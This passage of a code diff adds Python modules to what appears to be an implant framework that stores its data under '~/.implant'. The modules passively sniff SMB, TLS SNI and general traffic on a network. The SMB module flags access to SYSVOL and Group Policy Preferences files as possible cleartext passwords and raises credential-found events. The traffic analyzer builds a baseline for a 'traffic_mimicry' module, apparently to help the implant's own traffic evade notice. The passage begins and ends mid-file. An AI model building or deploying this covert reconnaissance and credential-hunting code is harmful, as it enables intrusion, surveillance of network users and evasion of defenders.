**self._stats,
}
def configure(self, config: dict) -> None:
self.config.update(config)
# ------------------------------------------------------------------
# Packet processing
# ------------------------------------------------------------------
def _read_loop(self) -> None:
while self._running:
result = self._sub_queue.get(timeout=1.0)
if result is None:
continue
ts, pkt = result
self._stats["packets_processed"] += 1
try:
self._process_packet(pkt, ts)
except Exception:
logger.debug("Error processing SMB packet", exc_info=True)
def _process_packet(self, pkt: bytes, ts: float) -> None:
"""Extract TCP payload and parse SMB2."""
if len(pkt) < 54: # eth(14) + ip(20) + tcp(20) minimum
return
ethertype = struct.unpack("!H", pkt[12:14])[0]
eth_offset = 14
if ethertype == 0x8100:
if len(pkt) < 58:
return
ethertype = struct.unpack("!H", pkt[16:18])[0]
eth_offset = 18
if ethertype != 0x0800:
return
ip_header = pkt[eth_offset:]
if len(ip_header) < 20:
return
ihl = (ip_header[0] & 0x0F) * 4
ip_proto = ip_header[9]
if ip_proto != 6: # TCP only
return
src_ip = socket.inet_ntoa(ip_header[12:16])
dst_ip = socket.inet_ntoa(ip_header[16:20])
if len(ip_header) < ihl + 20:
return
src_port, dst_port = struct.unpack("!HH", ip_header[ihl:ihl + 4])
tcp_data_off = ((ip_header[ihl + 12] >> 4) & 0xF) * 4
payload = ip_header[ihl + tcp_data_off:]
if len(payload) < 4:
return
# SMB uses NetBIOS Session Service: 1-byte type + 3-byte length
# Type 0x00 = session message
if payload[0] != 0x00:
return
nb_len = struct.unpack("!I", b'\x00' + payload[1:4])[0]
smb_data = payload[4:]
if len(smb_data) < 64:
return
# Determine direction: request goes TO port 445
client_ip = src_ip if dst_port == 445 else dst_ip
self._parse_smb2(smb_data, client_ip, ts)
def _parse_smb2(self, data: bytes, client_ip: str, ts: float) -> None:
"""Parse an SMB2 message header and dispatch to command handler."""
if data[:4] != SMB2_MAGIC:
return
if len(data) < 64:
return
# SMB2 header (64 bytes)
header_len = struct.unpack("<H", data[4:6])[0]
command = struct.unpack("<H", data[12:14])[0]
flags = struct.unpack("<I", data[16:20])[0]
is_response = bool(flags & 0x00000001)
session_id = struct.unpack("<Q", data[40:48])[0]
tree_id = struct.unpack("<I", data[36:40])[0]
smb_body = data[64:]
if command == SMB2_TREE_CONNECT and is_response and len(smb_body) >= 8:
# Tree Connect Response doesn't contain the share name,
# but we see the path in the request
pass
elif command == SMB2_TREE_CONNECT and not is_response:
self._handle_tree_connect_request(smb_body, client_ip, session_id, tree_id, ts)
elif command == SMB2_CREATE and not is_response:
self._handle_create_request(smb_body, client_ip, session_id, tree_id, ts)
elif command == SMB2_READ and not is_response:
self._stats["reads"] += 1
share = self._trees.get((client_ip, tree_id), "")
self._record_access(ts, client_ip, "", share, "", "read", "smb2")
elif command == SMB2_WRITE and not is_response:
self._stats["writes"] += 1
share = self._trees.get((client_ip, tree_id), "")
self._record_access(ts, client_ip, "", share, "", "write", "smb2")
def _handle_tree_connect_request(self, body: bytes, client_ip: str,
session_id: int, tree_id: int,
ts: float) -> None:
"""Parse SMB2 Tree Connect request to extract share name."""
# Tree Connect Request body (SMB 3.1.1):
# StructureSize(2) + Reserved/Flags(2) + PathOffset(2) + PathLength(2)
if len(body) < 8:
return
path_offset = struct.unpack("<H", body[4:6])[0]
path_length = struct.unpack("<H", body[6:8])[0]
# PathOffset is relative to the beginning of the SMB2 header
# Since body starts at offset 64, adjust
# But we receive body starting at offset 0, so the path is at:
# (path_offset - 64) in body terms, OR it may follow immediately
# In practice, path follows the 8-byte struct at body[8:]
if path_length > 0 and len(body) >= 8 + path_length:
try:
share_path = body[8:8 + path_length].decode("utf-16-le", errors="replace")
except Exception:
share_path = ""
# Extract just the share name from \\server\share
share_name = share_path.rsplit("\\", 1)[-1] if "\\" in share_path else share_path
self._trees[(client_ip, tree_id)] = share_name
self._stats["tree_connects"] += 1
username = self._sessions.get((client_ip, session_id), "")
self._record_access(ts, client_ip, username, share_name, "", "tree_connect", "smb2")
# Check for SYSVOL/NETLOGON access
if share_name.lower() in ("sysvol", "netlogon"):
logger.info("SYSVOL/NETLOGON access from %s — potential GPP exposure", client_ip)
def _handle_create_request(self, body: bytes, client_ip: str,
session_id: int, tree_id: int,
ts: float) -> None:
"""Parse SMB2 Create request to extract file path."""
# Create Request: StructureSize(2) + SecurityFlags(1) + RequestedOplockLevel(1)
# + ImpersonationLevel(4) + SmbCreateFlags(8) + Reserved(8)
# + DesiredAccess(4) + FileAttributes(4) + ShareAccess(4)
# + CreateDisposition(4) + CreateOptions(4) + NameOffset(2) + NameLength(2)
if len(body) < 56:
return
name_offset = struct.unpack("<H", body[44:46])[0]
name_length = struct.unpack("<H", body[46:48])[0]
if name_length == 0:
return
# Name follows the fixed-size structure
# name_offset is relative to SMB2 header start, body starts at +64
name_start = 56 # After the fixed-size fields in Create body
if len(body) >= name_start + name_length:
try:
file_path = body[name_start:name_start + name_length].decode(
"utf-16-le", errors="replace"
)
except Exception:
file_path = ""
if file_path:
self._stats["file_creates"] += 1
share = self._trees.get((client_ip, tree_id), "")
username = self._sessions.get((client_ip, session_id), "")
self._record_access(ts, client_ip, username, share, file_path, "create", "smb2")
# GPP detection
file_lower = file_path.lower()
for pattern in GPP_PATTERNS:
if pattern in file_lower:
self._stats["gpp_access_detected"] += 1
emit_credential_found(self.bus, self.name, {
"source": "smb_gpp_access",
"client_ip": client_ip,
"share": share,
"file_path": file_path,
"detail": "GPP/SYSVOL file access — may contain cleartext passwords",
})
break
# ------------------------------------------------------------------
# Database
# ------------------------------------------------------------------
def _resolve_db_path(self) -> str:
base = self.config.get("db_dir", os.path.join(
os.path.expanduser("~"), ".implant"
))
return os.path.join(base, "smb_monitor.db")
def _init_db(self) -> None:
Path(self._db_path).parent.mkdir(parents=True, exist_ok=True)
self._db_conn = sqlite3.connect(self._db_path, check_same_thread=False)
self._db_conn.execute("PRAGMA journal_mode=WAL")
self._db_conn.execute("PRAGMA synchronous=NORMAL")
self._db_conn.executescript(_DB_INIT)
self._db_conn.commit()
def _record_access(self, ts: float, source_ip: str, username: str,
share_name: str, file_path: str, operation: str,
smb_version: str) -> None:
with self._buffer_lock:
self._write_buffer.append((
ts, source_ip, username, share_name, file_path, operation, smb_version
))
def _flush_buffer(self) -> None:
with self._buffer_lock:
batch = list(self._write_buffer)
self._write_buffer.clear()
if not batch or not self._db_conn:
return
try:
with self._db_conn:
self._db_conn.executemany(
"""INSERT INTO smb_access
(timestamp, source_ip, username, share_name, file_path,
operation, smb_version)
VALUES (?, ?, ?, ?, ?, ?, ?)""",
batch,
)
except Exception:
logger.exception("Failed to flush SMB access records")
def _flush_loop(self) -> None:
while self._running:
time.sleep(FLUSH_INTERVAL)
try:
self._flush_buffer()
except Exception:
logger.exception("Flush loop error")
+436
View File
@@ -0,0 +1,436 @@
#!/usr/bin/env python3
"""Passive TLS SNI extraction from ClientHello messages.
Subscribes to capture_bus with BPF "tcp port 443". Parses TLS ClientHello
handshake messages and extracts the Server Name Indication (SNI) extension.
Handles fragmented ClientHello across multiple TCP segments via a reassembly
buffer keyed on (src_ip, src_port, dst_ip, dst_port).
"""
import logging
import os
import socket
import sqlite3
import struct
import threading
import time
from collections import OrderedDict
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
logger = logging.getLogger(__name__)
# TLS record types
TLS_HANDSHAKE = 22
# TLS handshake types
TLS_CLIENT_HELLO = 1
# TLS extension type for SNI
EXT_SNI = 0x0000
# TLS version mapping
TLS_VERSIONS = {
0x0300: "SSLv3",
0x0301: "TLS 1.0",
0x0302: "TLS 1.1",
0x0303: "TLS 1.2",
0x0304: "TLS 1.3",
}
# Max reassembly buffer entries (prevent memory leak from orphaned streams)
MAX_REASSEMBLY_ENTRIES = 10000
# Max age for reassembly buffer entries (seconds)
REASSEMBLY_TIMEOUT = 30
class TLSSNIExtractor(BaseModule):
"""Extract SNI hostnames from TLS ClientHello messages."""
name = "tls_sni_extractor"
module_type = "passive"
priority = 100
requires_root = True
requires_capture_bus = True
BATCH_SIZE = 500
FLUSH_INTERVAL = 60
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._capture_bus = None
self._sub_queue = None
self._reader_thread: Optional[threading.Thread] = None
self._flusher_thread: Optional[threading.Thread] = None
self._buffer = []
self._buffer_lock = threading.Lock()
self._db_path = ""
self._db_conn: Optional[sqlite3.Connection] = None
self._total_sni = 0
# TCP reassembly buffer: (src,sport,dst,dport) -> (data, timestamp)
self._reassembly: OrderedDict = OrderedDict()
self._reassembly_lock = threading.Lock()
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
self._capture_bus = self.config.get("capture_bus")
if not self._capture_bus:
logger.error("TLSSNIExtractor requires capture_bus in config")
return
base_dir = self.config.get("data_dir", os.path.expanduser("~/.implant"))
self._db_path = os.path.join(base_dir, "tls_sni.db")
Path(os.path.dirname(self._db_path)).mkdir(parents=True, exist_ok=True)
self._init_db()
self._sub_queue = self._capture_bus.subscribe(
name=self.name, bpf_filter="tcp port 443", queue_depth=8000
)
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
self._reader_thread = threading.Thread(
target=self._read_packets, daemon=True, name="sensor-sni-reader"
)
self._reader_thread.start()
self._flusher_thread = threading.Thread(
target=self._flush_loop, daemon=True, name="sensor-sni-flusher"
)
self._flusher_thread.start()
self.state.set_module_status(self.name, "running", pid=os.getpid())
logger.info("TLSSNIExtractor started — monitoring TLS on port 443")
def stop(self) -> None:
if not self._running:
return
self._running = False
if self._capture_bus:
self._capture_bus.unsubscribe(self.name)
self._flush_buffer()
if self._db_conn:
self._db_conn.close()
self._db_conn = None
self.state.set_module_status(self.name, "stopped")
logger.info("TLSSNIExtractor stopped — %d SNIs extracted", self._total_sni)
def status(self) -> dict:
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"total_sni": self._total_sni,
"buffer_size": len(self._buffer),
"reassembly_entries": len(self._reassembly),
}
def configure(self, config: dict) -> None:
self.config.update(config)
# ------------------------------------------------------------------
# Database
# ------------------------------------------------------------------
def _init_db(self) -> None:
self._db_conn = sqlite3.connect(self._db_path, check_same_thread=False)
self._db_conn.execute("PRAGMA journal_mode=WAL")
self._db_conn.execute("PRAGMA synchronous=NORMAL")
self._db_conn.executescript("""
CREATE TABLE IF NOT EXISTS tls_sni (
id INTEGER PRIMARY KEY AUTOINCREMENT,
timestamp REAL NOT NULL,
source_ip TEXT NOT NULL,
dest_ip TEXT NOT NULL,
dest_port INTEGER NOT NULL,
sni TEXT NOT NULL,
tls_version TEXT
);
CREATE INDEX IF NOT EXISTS idx_sni_source ON tls_sni(source_ip);
CREATE INDEX IF NOT EXISTS idx_sni_hostname ON tls_sni(sni);
CREATE INDEX IF NOT EXISTS idx_sni_ts ON tls_sni(timestamp);
""")
self._db_conn.commit()
# ------------------------------------------------------------------
# Packet reader
# ------------------------------------------------------------------
def _read_packets(self) -> None:
while self._running:
result = self._sub_queue.get(timeout=1.0)
if result is None:
continue
ts, raw_packet = result
try:
self._parse_packet(ts, raw_packet)
except Exception:
pass
def _parse_packet(self, ts: float, raw: bytes) -> None:
"""Parse Ethernet -> IPv4 -> TCP -> TLS ClientHello."""
if len(raw) < 14:
return
eth_type = struct.unpack("!H", raw[12:14])[0]
ip_offset = 14
if eth_type == 0x8100: # VLAN
if len(raw) < 18:
return
eth_type = struct.unpack("!H", raw[16:18])[0]
ip_offset = 18
if eth_type != 0x0800:
return
if len(raw) < ip_offset + 20:
return
ip_hdr = raw[ip_offset:]
ihl = (ip_hdr[0] & 0x0F) * 4
ip_proto = ip_hdr[9]
if ip_proto != 6: # TCP only
return
src_ip = socket.inet_ntoa(ip_hdr[12:16])
dst_ip = socket.inet_ntoa(ip_hdr[16:20])
tcp_offset = ip_offset + ihl
if len(raw) < tcp_offset + 20:
return
src_port, dst_port = struct.unpack("!HH", raw[tcp_offset:tcp_offset + 4])
tcp_hdr_len = ((raw[tcp_offset + 12] >> 4) & 0xF) * 4
payload_offset = tcp_offset + tcp_hdr_len
payload = raw[payload_offset:]
if not payload:
return
# Try to extract SNI from this payload (possibly with reassembly)
flow_key = (src_ip, src_port, dst_ip, dst_port)
self._process_tls_payload(ts, flow_key, payload, src_ip, dst_ip, dst_port)
def _process_tls_payload(self, ts: float, flow_key: tuple,
payload: bytes, src_ip: str, dst_ip: str,
dst_port: int) -> None:
"""Parse TLS records from TCP payload, with reassembly for fragments."""
# Check if we have buffered data for this flow
with self._reassembly_lock:
if flow_key in self._reassembly:
prev_data, _ = self._reassembly.pop(flow_key)
payload = prev_data + payload
# Try to parse TLS record
offset = 0
while offset < len(payload):
if len(payload) - offset < 5:
# Not enough for TLS record header — buffer for reassembly
self._buffer_fragment(flow_key, payload[offset:], ts)
return
content_type = payload[offset]
tls_version = struct.unpack("!H", payload[offset + 1:offset + 3])[0]
record_length = struct.unpack("!H", payload[offset + 3:offset + 5])[0]
if content_type != TLS_HANDSHAKE:
return
if record_length > 16384: # Max TLS record size
return
if len(payload) - offset - 5 < record_length:
# Fragmented — buffer remaining data
self._buffer_fragment(flow_key, payload[offset:], ts)
return
record_data = payload[offset + 5:offset + 5 + record_length]
sni, version_str = self._parse_client_hello(record_data, tls_version)
if sni:
self._total_sni += 1
record = (ts, src_ip, dst_ip, dst_port, sni, version_str)
with self._buffer_lock:
self._buffer.append(record)
if len(self._buffer) >= self.BATCH_SIZE:
self._flush_buffer()
return # Only care about the first ClientHello per connection
offset += 5 + record_length
def _buffer_fragment(self, flow_key: tuple, data: bytes, ts: float) -> None:
"""Buffer a TCP fragment for reassembly."""
with self._reassembly_lock:
self._reassembly[flow_key] = (data, ts)
# Evict oldest entries if buffer too large
while len(self._reassembly) > MAX_REASSEMBLY_ENTRIES:
self._reassembly.popitem(last=False)
# Evict expired entries periodically
now = time.time()
expired = [k for k, (_, t) in self._reassembly.items()
if now - t > REASSEMBLY_TIMEOUT]
for k in expired:
self._reassembly.pop(k, None)
@staticmethod
def _parse_client_hello(data: bytes, record_tls_version: int) -> tuple:
"""Parse a TLS Handshake record to extract SNI from ClientHello.
Returns (sni_hostname, tls_version_string) or (None, None).
"""
if len(data) < 4:
return None, None
handshake_type = data[0]
if handshake_type != TLS_CLIENT_HELLO:
return None, None
# Handshake length (3 bytes)
hs_length = struct.unpack("!I", b"\x00" + data[1:4])[0]
if len(data) < 4 + hs_length:
return None, None
offset = 4
# ClientHello: version(2) + random(32) + session_id_len(1) + ...
if offset + 34 > len(data):
return None, None
client_version = struct.unpack("!H", data[offset:offset + 2])[0]
offset += 2 + 32 # skip version + random
# Session ID
if offset >= len(data):
return None, None
session_id_len = data[offset]
offset += 1 + session_id_len
# Cipher suites
if offset + 2 > len(data):
return None, None
cipher_suites_len = struct.unpack("!H", data[offset:offset + 2])[0]
offset += 2 + cipher_suites_len
# Compression methods
if offset >= len(data):
return None, None
comp_methods_len = data[offset]
offset += 1 + comp_methods_len
# Extensions
if offset + 2 > len(data):
return None, None
extensions_len = struct.unpack("!H", data[offset:offset + 2])[0]
offset += 2
extensions_end = offset + extensions_len
if extensions_end > len(data):
extensions_end = len(data)
# Determine TLS version — check for supported_versions extension (0x002b)
# which overrides the record-layer version for TLS 1.3
detected_version = client_version
sni_hostname = None
ext_offset = offset
while ext_offset + 4 <= extensions_end:
ext_type = struct.unpack("!H", data[ext_offset:ext_offset + 2])[0]
ext_len = struct.unpack("!H", data[ext_offset + 2:ext_offset + 4])[0]
ext_data_start = ext_offset + 4
ext_data_end = ext_data_start + ext_len
if ext_data_end > extensions_end:
break
if ext_type == EXT_SNI:
# SNI extension: list_length(2), type(1)=0 (hostname), name_length(2), name
sni_data = data[ext_data_start:ext_data_end]
sni_hostname = _parse_sni_extension(sni_data)
elif ext_type == 0x002B:
# supported_versions extension — pick highest version
sv_data = data[ext_data_start:ext_data_end]
if len(sv_data) >= 1:
sv_list_len = sv_data[0]
sv_offset = 1
max_ver = 0
while sv_offset + 2 <= 1 + sv_list_len and sv_offset + 2 <= len(sv_data):
ver = struct.unpack("!H", sv_data[sv_offset:sv_offset + 2])[0]
if ver > max_ver:
max_ver = ver
sv_offset += 2
if max_ver > 0:
detected_version = max_ver
ext_offset = ext_data_end
version_str = TLS_VERSIONS.get(detected_version, f"0x{detected_version:04x}")
return sni_hostname, version_str
# ------------------------------------------------------------------
# Buffer flush
# ------------------------------------------------------------------
def _flush_loop(self) -> None:
while self._running:
time.sleep(self.FLUSH_INTERVAL)
try:
self._flush_buffer()
except Exception:
logger.exception("SNI flush error")
def _flush_buffer(self) -> None:
with self._buffer_lock:
batch = list(self._buffer)
self._buffer.clear()
if not batch or not self._db_conn:
return
try:
self._db_conn.executemany(
"INSERT INTO tls_sni (timestamp, source_ip, dest_ip, dest_port, sni, tls_version) "
"VALUES (?, ?, ?, ?, ?, ?)",
batch,
)
self._db_conn.commit()
except Exception:
logger.exception("Failed to flush %d SNI records", len(batch))
def _parse_sni_extension(data: bytes) -> Optional[str]:
"""Parse the SNI extension data to extract the hostname."""
if len(data) < 5:
return None
sni_list_len = struct.unpack("!H", data[0:2])[0]
offset = 2
while offset + 3 <= len(data) and offset < 2 + sni_list_len:
name_type = data[offset]
name_len = struct.unpack("!H", data[offset + 1:offset + 3])[0]
offset += 3
if offset + name_len > len(data):
break
if name_type == 0: # host_name
try:
return data[offset:offset + name_len].decode("ascii")
except UnicodeDecodeError:
return data[offset:offset + name_len].decode("utf-8", errors="replace")
offset += name_len
return None
+480
View File
@@ -0,0 +1,480 @@
#!/usr/bin/env python3
"""Network traffic analysis — flow tracking, top talkers, beacon detection.
Subscribes to all capture_bus traffic. Tracks:
- Flows by 5-tuple (src_ip, dst_ip, src_port, dst_port, proto)
- Protocol distribution percentages
- Top talkers by bytes and packets
- Beacon detection: regular-interval connections (C2 indicators)
- Bandwidth profiling per host
Feeds baseline data to traffic_mimicry module via bus events.
"""
import logging
import math
import os
import socket
import sqlite3
import struct
import threading
import time
from collections import defaultdict
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
logger = logging.getLogger(__name__)
# Protocol number to name mapping
PROTO_NAMES = {
1: "ICMP", 6: "TCP", 17: "UDP", 47: "GRE",
50: "ESP", 51: "AH", 58: "ICMPv6",
}
# Beacon detection thresholds
BEACON_MIN_CONNECTIONS = 10 # Minimum connections to analyze
BEACON_JITTER_THRESHOLD = 0.15 # Max jitter ratio (stddev/mean) for beacon
BEACON_MIN_INTERVAL = 5.0 # Minimum interval to consider (seconds)
BEACON_MAX_INTERVAL = 7200.0 # Maximum interval to consider (seconds)
class TrafficAnalyzer(BaseModule):
"""Analyze network traffic patterns, flows, and detect beacons."""
name = "traffic_analyzer"
module_type = "passive"
priority = 150
requires_root = True
requires_capture_bus = True
FLUSH_INTERVAL = 300 # 5 minutes
BEACON_CHECK_INTERVAL = 600 # 10 minutes
STATS_PUBLISH_INTERVAL = 120 # 2 minutes
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._capture_bus = None
self._sub_queue = None
self._reader_thread: Optional[threading.Thread] = None
self._flusher_thread: Optional[threading.Thread] = None
self._beacon_thread: Optional[threading.Thread] = None
self._stats_thread: Optional[threading.Thread] = None
self._db_path = ""
self._db_conn: Optional[sqlite3.Connection] = None
# Flow table: (src_ip, dst_ip, src_port, dst_port, proto) -> FlowRecord
self._flows = {}
self._flows_lock = threading.Lock()
# Per-host stats
self._host_bytes = defaultdict(int) # ip -> total bytes
self._host_packets = defaultdict(int) # ip -> total packets
self._host_lock = threading.Lock()
# Protocol distribution
self._proto_bytes = defaultdict(int) # proto_name -> bytes
self._proto_packets = defaultdict(int) # proto_name -> packets
self._proto_lock = threading.Lock()
# Connection timestamps for beacon detection: (src, dst, dport) -> [timestamps]
self._conn_times = defaultdict(list)
self._conn_lock = threading.Lock()
self._total_packets = 0
self._total_bytes = 0
self._detected_beacons = []
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
self._capture_bus = self.config.get("capture_bus")
if not self._capture_bus:
logger.error("TrafficAnalyzer requires capture_bus in config")
return
base_dir = self.config.get("data_dir", os.path.expanduser("~/.implant"))
self._db_path = os.path.join(base_dir, "traffic_flows.db")
Path(os.path.dirname(self._db_path)).mkdir(parents=True, exist_ok=True)
self._init_db()
# Subscribe to all traffic (no BPF filter)
self._sub_queue = self._capture_bus.subscribe(
name=self.name, bpf_filter="", queue_depth=15000
)
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
self._reader_thread = threading.Thread(
target=self._read_packets, daemon=True, name="sensor-traffic-reader"
)
self._reader_thread.start()
self._flusher_thread = threading.Thread(
target=self._flush_loop, daemon=True, name="sensor-traffic-flusher"
)
self._flusher_thread.start()
self._beacon_thread = threading.Thread(
target=self._beacon_loop, daemon=True, name="sensor-traffic-beacon"
)
self._beacon_thread.start()
self._stats_thread = threading.Thread(
target=self._stats_loop, daemon=True, name="sensor-traffic-stats"
)
self._stats_thread.start()
self.state.set_module_status(self.name, "running", pid=os.getpid())
logger.info("TrafficAnalyzer started — monitoring all traffic")
def stop(self) -> None:
if not self._running:
return
self._running = False
if self._capture_bus:
self._capture_bus.unsubscribe(self.name)
self._flush_flows()
if self._db_conn:
self._db_conn.close()
self._db_conn = None
self.state.set_module_status(self.name, "stopped")
logger.info(
"TrafficAnalyzer stopped — %d total packets, %d flows, %d beacons detected",
self._total_packets, len(self._flows), len(self._detected_beacons),
)
def status(self) -> dict:
with self._flows_lock:
flow_count = len(self._flows)
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"total_packets": self._total_packets,
"total_bytes": self._total_bytes,
"active_flows": flow_count,
"detected_beacons": len(self._detected_beacons),
}
def configure(self, config: dict) -> None:
self.config.update(config)
# ------------------------------------------------------------------
# Database
# ------------------------------------------------------------------
def _init_db(self) -> None:
self._db_conn = sqlite3.connect(self._db_path, check_same_thread=False)
self._db_conn.execute("PRAGMA journal_mode=WAL")
self._db_conn.execute("PRAGMA synchronous=NORMAL")
self._db_conn.executescript("""
CREATE TABLE IF NOT EXISTS flows (
id INTEGER PRIMARY KEY AUTOINCREMENT,
src_ip TEXT NOT NULL,
dst_ip TEXT NOT NULL,
src_port INTEGER,
dst_port INTEGER,
proto TEXT NOT NULL,
bytes_total INTEGER NOT NULL DEFAULT 0,
packets INTEGER NOT NULL DEFAULT 0,
first_seen REAL NOT NULL,
last_seen REAL NOT NULL,
is_beacon INTEGER DEFAULT 0
);
CREATE INDEX IF NOT EXISTS idx_flow_src ON flows(src_ip);
CREATE INDEX IF NOT EXISTS idx_flow_dst ON flows(dst_ip);
CREATE INDEX IF NOT EXISTS idx_flow_beacon ON flows(is_beacon);
CREATE INDEX IF NOT EXISTS idx_flow_first ON flows(first_seen);
""")
self._db_conn.commit()
# ------------------------------------------------------------------
# Packet reader
# ------------------------------------------------------------------
def _read_packets(self) -> None:
while self._running:
result = self._sub_queue.get(timeout=1.0)
if result is None:
continue
ts, raw_packet = result
try:
self._parse_packet(ts, raw_packet)
except Exception:
pass
def _parse_packet(self, ts: float, raw: bytes) -> None:
"""Extract flow information from each packet."""
if len(raw) < 14:
return
eth_type = struct.unpack("!H", raw[12:14])[0]
ip_offset = 14
if eth_type == 0x8100: # VLAN
if len(raw) < 18:
return
eth_type = struct.unpack("!H", raw[16:18])[0]
ip_offset = 18
if eth_type != 0x0800: # IPv4 only
return
if len(raw) < ip_offset + 20:
return
ip_hdr = raw[ip_offset:]
ihl = (ip_hdr[0] & 0x0F) * 4
total_len = struct.unpack("!H", ip_hdr[2:4])[0]
ip_proto = ip_hdr[9]
src_ip = socket.inet_ntoa(ip_hdr[12:16])
dst_ip = socket.inet_ntoa(ip_hdr[16:20])
src_port = 0
dst_port = 0
if ip_proto in (6, 17): # TCP or UDP
transport_offset = ip_offset + ihl
if len(raw) >= transport_offset + 4:
src_port, dst_port = struct.unpack("!HH", raw[transport_offset:transport_offset + 4])
proto_name = PROTO_NAMES.get(ip_proto, str(ip_proto))
pkt_size = total_len
self._total_packets += 1
self._total_bytes += pkt_size
# Update flow table
flow_key = (src_ip, dst_ip, src_port, dst_port, proto_name)
with self._flows_lock:
if flow_key not in self._flows:
self._flows[flow_key] = {
"bytes_total": 0, "packets": 0,
"first_seen": ts, "last_seen": ts,
"is_beacon": False,
}
flow = self._flows[flow_key]
flow["bytes_total"] += pkt_size
flow["packets"] += 1
flow["last_seen"] = ts
# Update per-host stats
with self._host_lock:
self._host_bytes[src_ip] += pkt_size
self._host_packets[src_ip] += 1
self._host_bytes[dst_ip] += pkt_size
self._host_packets[dst_ip] += 1
# Update protocol distribution
with self._proto_lock:
self._proto_bytes[proto_name] += pkt_size
self._proto_packets[proto_name] += 1
# Record connection timestamps for beacon detection (TCP SYN only)
if ip_proto == 6 and len(raw) >= ip_offset + ihl + 14:
tcp_flags = raw[ip_offset + ihl + 13]
if tcp_flags & 0x02 and not (tcp_flags & 0x10): # SYN without ACK
conn_key = (src_ip, dst_ip, dst_port)
with self._conn_lock:
timestamps = self._conn_times[conn_key]
timestamps.append(ts)
# Keep only last 1000 timestamps per connection tuple
if len(timestamps) > 1000:
self._conn_times[conn_key] = timestamps[-1000:]
# ------------------------------------------------------------------
# Beacon detection
# ------------------------------------------------------------------
def _beacon_loop(self) -> None:
"""Periodically check for beacon-like connection patterns."""
while self._running:
time.sleep(self.BEACON_CHECK_INTERVAL)
try:
self._detect_beacons()
except Exception:
logger.exception("Beacon detection error")
def _detect_beacons(self) -> None:
"""Analyze connection timestamps for regular-interval patterns."""
with self._conn_lock:
conn_snapshot = {k: list(v) for k, v in self._conn_times.items()
if len(v) >= BEACON_MIN_CONNECTIONS}
new_beacons = []
for conn_key, timestamps in conn_snapshot.items():
src_ip, dst_ip, dst_port = conn_key
if len(timestamps) < BEACON_MIN_CONNECTIONS:
continue
# Calculate inter-arrival intervals
timestamps.sort()
intervals = [timestamps[i + 1] - timestamps[i]
for i in range(len(timestamps) - 1)]
if not intervals:
continue
# Filter to reasonable beacon intervals
valid_intervals = [i for i in intervals
if BEACON_MIN_INTERVAL <= i <= BEACON_MAX_INTERVAL]
if len(valid_intervals) < BEACON_MIN_CONNECTIONS - 1:
continue
mean_interval = sum(valid_intervals) / len(valid_intervals)
if mean_interval == 0:
continue
# Calculate jitter (standard deviation / mean)
variance = sum((i - mean_interval) ** 2 for i in valid_intervals) / len(valid_intervals)
stddev = math.sqrt(variance)
jitter_ratio = stddev / mean_interval
if jitter_ratio <= BEACON_JITTER_THRESHOLD:
beacon_info = {
"src_ip": src_ip,
"dst_ip": dst_ip,
"dst_port": dst_port,
"mean_interval": round(mean_interval, 2),
"jitter_ratio": round(jitter_ratio, 4),
"connection_count": len(timestamps),
"first_seen": timestamps[0],
"last_seen": timestamps[-1],
}
new_beacons.append(beacon_info)
# Mark flows as beacons
with self._flows_lock:
for proto in ("TCP", "6"):
flow_key = (src_ip, dst_ip, 0, dst_port, proto)
if flow_key in self._flows:
self._flows[flow_key]["is_beacon"] = True
self.bus.emit("BEACON_DETECTED", beacon_info, source_module=self.name)
logger.warning(
"BEACON: %s -> %s:%d interval=%.1fs jitter=%.2f%% count=%d",
src_ip, dst_ip, dst_port, mean_interval,
jitter_ratio * 100, len(timestamps),
)
self._detected_beacons = new_beacons
# ------------------------------------------------------------------
# Statistics publishing
# ------------------------------------------------------------------
def _stats_loop(self) -> None:
"""Periodically publish traffic statistics for other modules."""
while self._running:
time.sleep(self.STATS_PUBLISH_INTERVAL)
try:
self._publish_stats()
except Exception:
logger.exception("Stats publish error")
def _publish_stats(self) -> None:
"""Publish traffic baseline stats (for traffic_mimicry)."""
# Protocol distribution
with self._proto_lock:
proto_dist = dict(self._proto_bytes)
total_proto_bytes = sum(proto_dist.values())
if total_proto_bytes > 0:
proto_pct = {k: round(v / total_proto_bytes * 100, 1)
for k, v in proto_dist.items()}
else:
proto_pct = {}
# Top talkers (by bytes, top 20)
with self._host_lock:
host_bytes_snapshot = dict(self._host_bytes)
top_talkers = sorted(host_bytes_snapshot.items(), key=lambda x: x[1], reverse=True)[:20]
# Store baseline in state for traffic_mimicry
self.state.set(self.name, "protocol_distribution", proto_pct)
self.state.set(self.name, "top_talkers", [
{"ip": ip, "bytes": b} for ip, b in top_talkers
])
self.state.set(self.name, "total_bytes", self._total_bytes)
self.state.set(self.name, "total_packets", self._total_packets)
# ------------------------------------------------------------------
# Public query methods
# ------------------------------------------------------------------
def get_top_talkers(self, n: int = 10, by: str = "bytes") -> list:
"""Return top N talkers by bytes or packets."""
with self._host_lock:
if by == "packets":
data = dict(self._host_packets)
else:
data = dict(self._host_bytes)
sorted_hosts = sorted(data.items(), key=lambda x: x[1], reverse=True)[:n]
return [{"ip": ip, by: val} for ip, val in sorted_hosts]
def get_protocol_distribution(self) -> dict:
"""Return protocol distribution as percentages."""
with self._proto_lock:
total = sum(self._proto_bytes.values())
if total == 0:
return {}
return {k: round(v / total * 100, 2) for k, v in self._proto_bytes.items()}
def get_detected_beacons(self) -> list:
"""Return list of detected beacon connections."""
return list(self._detected_beacons)
# ------------------------------------------------------------------
# Flow flush
# ------------------------------------------------------------------
def _flush_loop(self) -> None:
while self._running:
time.sleep(self.FLUSH_INTERVAL)
try:
self._flush_flows()
except Exception:
logger.exception("Flow flush error")
def _flush_flows(self) -> None:
"""Write flow table to SQLite."""
with self._flows_lock:
flows_snapshot = dict(self._flows)
if not flows_snapshot or not self._db_conn:
return
try:
for flow_key, flow_data in flows_snapshot.items():
src_ip, dst_ip, src_port, dst_port, proto = flow_key
self._db_conn.execute(
"""INSERT INTO flows
(src_ip, dst_ip, src_port, dst_port, proto,
bytes_total, packets, first_seen, last_seen, is_beacon)
